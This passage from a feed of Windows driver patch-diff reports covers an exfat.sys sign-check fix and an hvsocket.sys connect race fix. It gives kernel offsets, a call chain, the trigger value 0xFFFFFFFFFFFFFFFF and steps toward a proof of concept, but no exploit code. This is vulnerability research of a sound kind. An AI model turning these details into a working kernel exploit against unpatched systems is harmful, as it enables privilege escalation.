&lt;li&gt;Control reaches &lt;code&gt;0x1c004154f&lt;/code&gt; and &lt;code&gt;[rbx+0x20]&lt;/code&gt; becomes &lt;code&gt;0xFFFFFFFFFFFFFFFF&lt;/code&gt;; &lt;code&gt;CcSetFileSizes&lt;/code&gt; is invoked with this value.&lt;/li&gt;
&lt;li&gt;On the patched binary, &lt;code&gt;test rdi,rdi; jns; mov edi,0xC000000D&lt;/code&gt; (at the relocated handler &lt;code&gt;0x1C00412AC&lt;/code&gt;) rejects the input, the IRP completes with &lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt;, and the FCB is not modified.&lt;/li&gt;
&lt;li&gt;The directly observable, demonstrable difference is the return status (&lt;code&gt;STATUS_SUCCESS&lt;/code&gt; unpatched vs &lt;code&gt;STATUS_INVALID_PARAMETER&lt;/code&gt; patched) and whether the FCB size fields are written.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Struct/Offset Notes&lt;/h3&gt;
&lt;p&gt;FCB and IRP offsets referenced by the corruption site (from the disassembly of &lt;code&gt;FppSetEndOfFileInfo&lt;/code&gt;):&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x20&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;FileSize&lt;/strong&gt; (written at &lt;code&gt;0x1c004154f&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x28&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;AllocationSize&lt;/strong&gt; (written at &lt;code&gt;0x1c0041558&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;+0x110&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;ValidDataLength&lt;/strong&gt; (written at &lt;code&gt;0x1c0041561&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;IRP layout used: &lt;code&gt;Irp-&amp;gt;AssociatedIrp.SystemBuffer&lt;/code&gt; at &lt;code&gt;IRP+0x18&lt;/code&gt;. &lt;code&gt;FILE_END_OF_FILE_INFORMATION.EndOfFile.QuadPart&lt;/code&gt; is the first (and only) qword.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;h3&gt;Security-Relevant (3)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Sim&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;FppCommonSetInformation (sub_1C003E3A4)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.9848&lt;/td&gt;
&lt;td&gt;&lt;code&gt;IRP_MJ_SET_INFORMATION&lt;/code&gt; dispatcher. Inline &lt;code&gt;FilePositionInformation&lt;/code&gt; (case 0xe) handler lost the feature-gate short-circuit; the negative-offset check is now unconditional. Also dispatches cases 0x13 / 0x14 to the fixed sub-handlers.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;FppSetEndOfFileInfo (sub_1C00412C4)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.9789&lt;/td&gt;
&lt;td&gt;&lt;code&gt;FileEndOfFileInformation&lt;/code&gt; handler. Removed &lt;code&gt;Feature_1337404728__private_IsEnabledDeviceUsage (sub_1C000A6A0)&lt;/code&gt; call; sign check now unconditional. Fixes the primary FCB FileSize corruption site (&lt;code&gt;+0x20&lt;/code&gt;/&lt;code&gt;+0x28&lt;/code&gt;/&lt;code&gt;+0x110&lt;/code&gt;).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;FppSetAllocationInfo (sub_1C0040F74)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.9714&lt;/td&gt;
&lt;td&gt;&lt;code&gt;FileAllocationInformation&lt;/code&gt; handler. Same fix pattern — feature gate removed, negative-size rejection unconditional.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Behavioral / Refactor (5)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Sim&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wil_details_IsEnabledFallback (sub_1C00018D8)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.939&lt;/td&gt;
&lt;td&gt;WIL feature-state helper; refactored to drop a pointer argument in favor of a global context.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wil_details_FeatureStateCache_TryEnableDeviceUsageFastPath (sub_1C000196C)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.818&lt;/td&gt;
&lt;td&gt;Atomic flag-set helper (&lt;code&gt;lock or&lt;/code&gt; / &lt;code&gt;lock cmpxchg&lt;/code&gt;); refactored to operate on a global instead of an arg pointer. Atomic semantics preserved.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Feature_427089208__private_IsEnabledFallback (sub_1C0001EA0)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.648&lt;/td&gt;
&lt;td&gt;Tiny thunk calling the helper with one fewer argument. Pure signature/register-allocation change.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wil_details_FeatureReporting_ReportUsageToServiceDirect (sub_1C000137C)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.972&lt;/td&gt;
&lt;td&gt;WIL feature-usage/telemetry reporting helper; refactored to use a global context instead of an arg pointer.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;wil_details_FeatureReporting_ReportUsageToService (sub_1C0001464)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.989&lt;/td&gt;
&lt;td&gt;Telemetry wrapper (&lt;code&gt;id&lt;/code&gt; → &lt;code&gt;sub-id&lt;/code&gt; switch → &lt;code&gt;wil_details_FeatureReporting_ReportUsageToServiceDirect (sub_1C000137C)&lt;/code&gt;); refactored arg passing. Control flow unchanged.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;em&gt;The behavioral/cosmetic changes are not security-relevant on their own. They are consistent with a broader refactor of the feature-telemetry plumbing that enabled the patch team to remove the flag dependency cleanly.&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;None — both binaries have identical function sets (&lt;code&gt;unmatched_unpatched = 0&lt;/code&gt;, &lt;code&gt;unmatched_patched = 0&lt;/code&gt;). No added sanitizers and no removed mitigations; the security delta is entirely the in-place edit to the three handlers listed above.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;h3&gt;Confidence: &lt;strong&gt;High on the mechanism; bounded on impact.&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Rationale:
- The three diffed handlers all share an identical, syntactically clear pattern (feature-flag short-circuit around a sign check) that the patch converts to unconditional rejections. This is fully verified in both builds at the real addresses.
- The writes of the accepted value into FCB fields (&lt;code&gt;+0x20&lt;/code&gt;/&lt;code&gt;+0x28&lt;/code&gt;/&lt;code&gt;+0x110&lt;/code&gt;) and the call to &lt;code&gt;CcSetFileSizes&lt;/code&gt; are unambiguous in the disassembly.
- The feature gate resolving to not-enabled is consistent with Windows velocity/feature-staging conventions and with the patch retiring the whole feature.
- The onward memory-corruption / privilege-escalation impact is not demonstrated by this diff, which is why the severity is bounded at Medium.&lt;/p&gt;
&lt;h3&gt;Assumptions&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;The feature &lt;code&gt;Feature_1337404728&lt;/code&gt; resolves to not-enabled (&lt;code&gt;featureState&lt;/code&gt; bit 4 clear, velocity feature index 3 not enabled) on the affected systems. This is inferred from velocity-staging conventions and from the patch retiring the feature and making the check permanent; it should be confirmed against a target system's actual configuration.&lt;/li&gt;
&lt;li&gt;The call chain &lt;code&gt;NtSetInformationFile → IRP_MJ_SET_INFORMATION → FppCommonSetInformation (0x1C003E3A4) → FppSetEndOfFileInfo (0x1C00412C4) / FppSetAllocationInfo (0x1C0040F74)&lt;/code&gt; is derived from the dispatcher's switch on &lt;code&gt;FILE_INFORMATION_CLASS&lt;/code&gt;, the direct call sites (&lt;code&gt;0x1C003E786&lt;/code&gt; EOF, &lt;code&gt;0x1C003E79E&lt;/code&gt; Allocation) and the inline handler at case 0x0e (&lt;code&gt;0x1C003E7A8&lt;/code&gt;). The FSD wrapper &lt;code&gt;FppFsdSetInformation&lt;/code&gt; calls this dispatcher at &lt;code&gt;0x1C003DFA7&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The "wraps below newSize" guard bypass for &lt;code&gt;0xFFFFFFFFFFFFFFFF&lt;/code&gt; relies on the identity &lt;code&gt;validDataLen+1+(-1) == validDataLen&lt;/code&gt; and the signed comparison &lt;code&gt;validDataLen &amp;lt; -1&lt;/code&gt; being false for any non-negative &lt;code&gt;validDataLen&lt;/code&gt;. This matches the assembly at &lt;code&gt;0x1c004133d&lt;/code&gt;–&lt;code&gt;0x1c0041366&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;To Verify Before PoC&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Confirm the feature state&lt;/strong&gt; on the target system: &lt;code&gt;Feature_1337404728__private_featureState&lt;/code&gt; bit 4 clear and velocity feature 3 not enabled means the bypass is live.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirm the dispatcher chain&lt;/strong&gt; by setting &lt;code&gt;bp exfat!FppCommonSetInformation&lt;/code&gt; and breaking on &lt;code&gt;NtSetInformationFile(FileEndOfFileInformation)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirm IRP+0x18 layout&lt;/strong&gt; for the target Windows version (SystemBuffer offset).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Test the simplest trigger first&lt;/strong&gt; (&lt;code&gt;EndOfFile = 0xFFFFFFFFFFFFFFFF&lt;/code&gt;); other bit-63-set values behave equivalently at the validation gate.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Characterize downstream impact&lt;/strong&gt; by tracing how the poisoned &lt;code&gt;FCB-&amp;gt;FileSize&lt;/code&gt;/&lt;code&gt;AllocationSize&lt;/code&gt;/&lt;code&gt;ValidDataLength&lt;/code&gt; and &lt;code&gt;FileObject-&amp;gt;CurrentByteOffset&lt;/code&gt; are consumed by subsequent cached I/O and cache teardown before asserting a corruption/EoP outcome.&lt;/li&gt;
&lt;/ol&gt;</content><category term="Corpus"/></entry><entry><title>hvsocket.sys — One delivered security fix: an unconditional connection-establishment race hardening (CWE-362) in the AF_HYPERV connect() path (VmbusTlProviderConnect); the originally-claimed socket-address/authorization bypass remains a false positive (validation identical in both builds)</title><link href="https://byteray-ai.github.io/drift-corpus/item/hvsocket_3e240848-hvsocket-report-20260628-235418.html" rel="alternate"/><published>2026-06-28T00:00:00-07:00</published><updated>2026-06-28T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-28:/drift-corpus/item/hvsocket_3e240848-hvsocket-report-20260628-235418.html</id><summary type="html">&lt;p&gt;KB5094128&lt;/p&gt;</summary><content type="html">&lt;h3&gt;1. Overview&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;hvsocket_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;hvsocket_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity:&lt;/strong&gt; 0.792 (79.2%)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; 272 matched functions, 177 changed functions, 95 identical functions, 0 unmatched functions in either direction.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; One delivered security fix, plus the originally-framed bypass being a false positive. The socket-address validation gate that this report was originally framed around (&lt;code&gt;VmbusTlValidateSockAddress&lt;/code&gt;, including its rejection of wildcard destination GUIDs and its caller-authorization call) is present and functionally identical in BOTH builds, and is invoked as a mandatory gate from &lt;code&gt;VmbusTlProviderConnect&lt;/code&gt; in BOTH builds — so the originally-claimed authorization/wildcard bypass is not real. However, &lt;code&gt;VmbusTlProviderConnect&lt;/code&gt; itself carries a genuine, unconditional (not feature-flag-gated) behavioral fix that this report's earlier triage missed: the patch reorders the connect path so that &lt;code&gt;VmbusTlAssociateConnectionToPartition&lt;/code&gt; (which publishes the new connection into the partition's connection tables and makes it reachable to peer-driven endpoint-action processing) now runs while the connection's "connect complete" notification event (&lt;code&gt;endpoint+0x2C8&lt;/code&gt;) is held cleared, and only signals that event after the transport is established. The unpatched build publishes the connection via association while that event is still in its initial signaled state. This narrows a connection-establishment race window (CWE-362) on an attacker-reachable path and is delivered by default. See section 5(c). The bulk of the remaining 177 changed functions is a mechanical migration of the object-free path from interlocked singly-linked-list pools to &lt;code&gt;ExFreeToNPagedLookasideList&lt;/code&gt;, plus trace/ETW churn. Two further deltas are NOT delivered by default: (a) an Azure-configuration-gated denial of wildcard listeners in &lt;code&gt;VmbusTlAuthenticateWildcardListen&lt;/code&gt;, with the original access-check path retained in the else branch, and (b) a WIL feature-flag-staged (&lt;code&gt;Feature_MSRC97534_57540200&lt;/code&gt;) change to fast-mutex acquisition across several connection/service-association routines.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. Vulnerability Summary&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium (delivered fix: connection-establishment race in &lt;code&gt;VmbusTlProviderConnect&lt;/code&gt;, CWE-362). The originally-claimed authorization bypass is None (Informational / false positive).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Delivered fix — Race Condition / concurrent execution using shared state (CWE-362) on the AF_HYPERV connect path. The originally claimed Missing Authorization / Input Validation Bypass (CWE-862 / CWE-20) is NOT supported by the binaries.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Functions examined:&lt;/strong&gt; &lt;code&gt;VmbusTlProviderConnect&lt;/code&gt;, &lt;code&gt;VmbusTlValidateSockAddress&lt;/code&gt;, &lt;code&gt;VmbusTlProcessNewConnection&lt;/code&gt;, &lt;code&gt;VmbusTlAuthenticateWildcardListen&lt;/code&gt;, the new &lt;code&gt;VmbusTlEndpointSetPendingConnectRequest&lt;/code&gt; / &lt;code&gt;VmbusTlEndpointClearPendingConnectRequest&lt;/code&gt; / &lt;code&gt;VmbusTlEstablishConnection&lt;/code&gt; helpers, &lt;code&gt;VmbusTlSetupConnection&lt;/code&gt;, &lt;code&gt;VmbusTlCreateConnection&lt;/code&gt;, &lt;code&gt;VmbusTlEndpointActionWorkQueueRoutine&lt;/code&gt;, and the &lt;code&gt;Feature_MSRC97534_57540200&lt;/code&gt;-gated locking routines.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause Analysis:&lt;/strong&gt;
The premise of the original finding — that the unpatched connect path lacks socket-address validation and wildcard rejection — is false. &lt;code&gt;VmbusTlValidateSockAddress&lt;/code&gt; exists in both builds (&lt;code&gt;0x1C0019254&lt;/code&gt; unpatched, &lt;code&gt;0x14001B1A0&lt;/code&gt; patched). In both builds it performs exactly the same checks:
- address family must equal &lt;code&gt;0x22&lt;/code&gt; (34, &lt;code&gt;AF_HYPERV&lt;/code&gt;); otherwise it returns &lt;code&gt;0xC0000141&lt;/code&gt; (&lt;code&gt;STATUS_INVALID_ADDRESS&lt;/code&gt;) and traces &lt;code&gt;"Address family mismatch."&lt;/code&gt;;
- the reserved field at offset &lt;code&gt;+2&lt;/code&gt; must be zero; otherwise &lt;code&gt;0xC0000141&lt;/code&gt; and &lt;code&gt;"Reserved field mismatch."&lt;/code&gt;;
- the destination GUID at offset &lt;code&gt;+4&lt;/code&gt; must not match the wildcard GUIDs (&lt;code&gt;HV_GUID_ZERO&lt;/code&gt;, the all-zeros GUID, or &lt;code&gt;HV_GUID_CHILDREN&lt;/code&gt;); if it matches, it returns &lt;code&gt;0xC0000141&lt;/code&gt; and traces &lt;code&gt;"Cannot connect to wildcard addresses."&lt;/code&gt;;
- it then resolves the partition (&lt;code&gt;VmbusTlResolvePartitionId&lt;/code&gt;), references it (&lt;code&gt;VmbusTlFindAndReferencePartition&lt;/code&gt;), and calls the caller-identity authorization routine &lt;code&gt;VmbusTlAuthenticateConnectSockAddress(partition, sockaddr, PEPROCESS)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The only difference between the two &lt;code&gt;VmbusTlValidateSockAddress&lt;/code&gt; bodies is the object-dereference cleanup path: unpatched pushes the freed object onto an interlocked S-List (&lt;code&gt;ExpInterlockedPushEntrySList&lt;/code&gt;), patched frees it via &lt;code&gt;ExFreeToNPagedLookasideList&lt;/code&gt;. That is a memory-management refactor, not a security change.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attacker-Reachable Entry Point:&lt;/strong&gt;
&lt;code&gt;VmbusTlProviderConnect&lt;/code&gt; is reached from an &lt;code&gt;AF_HYPERV&lt;/code&gt; WinSock &lt;code&gt;connect()&lt;/code&gt;/&lt;code&gt;WSAConnect()&lt;/code&gt;, but because the validation and wildcard-rejection it depends on are identical in both builds, there is no reachable behavioral difference on this path.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call Chain (identical in both builds):&lt;/strong&gt;
1. User-mode process calls &lt;code&gt;connect()&lt;/code&gt; / &lt;code&gt;WSAConnect()&lt;/code&gt; on an &lt;code&gt;AF_HYPERV&lt;/code&gt; socket.
2. WSK dispatch routes to the &lt;code&gt;hvsocket.sys&lt;/code&gt; NMR provider.
3. &lt;code&gt;VmbusTlProviderConnect&lt;/code&gt; (&lt;code&gt;0x1C001F9C0&lt;/code&gt; unpatched, &lt;code&gt;0x140021AC0&lt;/code&gt; patched) runs.
4. It calls &lt;code&gt;HvSocketResolveUniversalAddress&lt;/code&gt;, then &lt;code&gt;HvSocketIsPassthruRequest&lt;/code&gt;, then &lt;code&gt;VmbusTlValidateSockAddress&lt;/code&gt; as a mandatory gate, and aborts if the return is negative before reaching &lt;code&gt;VmbusTlCreateConnection&lt;/code&gt;. This gate is present in BOTH builds.&lt;/p&gt;
&lt;h3&gt;3. Code Comparison&lt;/h3&gt;
&lt;p&gt;Both &lt;code&gt;VmbusTlProviderConnect&lt;/code&gt; bodies call the validation gate and reject on failure. Unpatched (&lt;code&gt;VmbusTlProviderConnect @ 0x1C001F9C0&lt;/code&gt;, decompiled):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;IsPassthruRequest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HvSocketIsPassthruRequest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v52&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v51&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VmbusTlValidateSockAddress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v52&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CurrentProcess&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IsPassthruRequest&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v56&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;v47&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v47&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VmbusTlCreateConnection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CurrentProcess&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ListEntry&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... proceed ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Patched (&lt;code&gt;VmbusTlProviderConnect @ 0x140021AC0&lt;/code&gt;, decompiled):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;IsPassthruRequest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HvSocketIsPassthruRequest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v40&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v39&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;v36&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VmbusTlValidateSockAddress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v40&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CurrentProcess&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IsPassthruRequest&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v44&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v36&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v36&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// trace + abort&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LABEL_63&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;v36&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VmbusTlCreateConnection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CurrentProcess&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Entry&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// ... proceed ...&lt;/span&gt;
